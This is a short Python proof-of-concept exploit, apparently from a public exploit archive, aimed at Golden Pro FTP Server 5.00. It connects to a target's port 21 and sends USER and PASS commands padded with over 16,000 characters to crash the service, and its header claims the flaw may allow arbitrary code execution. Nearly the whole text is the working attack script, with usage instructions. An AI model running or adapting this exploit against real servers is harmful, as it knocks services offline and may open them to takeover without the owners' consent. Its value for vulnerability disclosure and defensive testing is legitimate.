#!/usr/bin/python
#Both Golden Pro And Free FTP server is prone to a remote DOS vulnerability.POC
#Attackers can exploit this issue to execute arbitrary code or cause denial-of-service conditions.
#-------------------------------------------------------------------------
#Exploit Title : Golden FTP Server DOS vulnerability.
#Date : 2015.06.01
#Exploit Author : 4Lu5h
#Email : kfalus@gmail.com
#Product Homepage: www.goldenftpserver.com
#Software Link : http://www.goldenftpserver.com/statdir/stat.php?id=download_pro
#Product: Golden Pro FTP Server
#Version : 5.00
#Tested Os : Windows XP SP1/SP3 TR
#--------------------------------------------------------------------------
import socket
import sys
def usage():
print "usage : ./goldenftp.py <ip > "
print "example: ./goldenftp.py 192.168.189.19"
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if len(sys.argv) != 2:
usage()
sys.exit()
ip = sys.argv[1]
buff = "A" * 16379
try:
print("[-] Connecting to " + ip + " for exploitation..\n")
s.connect((ip,21))
s.recv(1024)
print "[-] Connected to server"
print "[-] Sending exploit"
s.send('USER '+buff+'\r\n') #if fails try username test
s.send('PASS '+buff+'\r\n')
s.close()
print("[-] Exploit successfully sent...")
except:
print "[-] Exploit failed.. Check if server is up.."
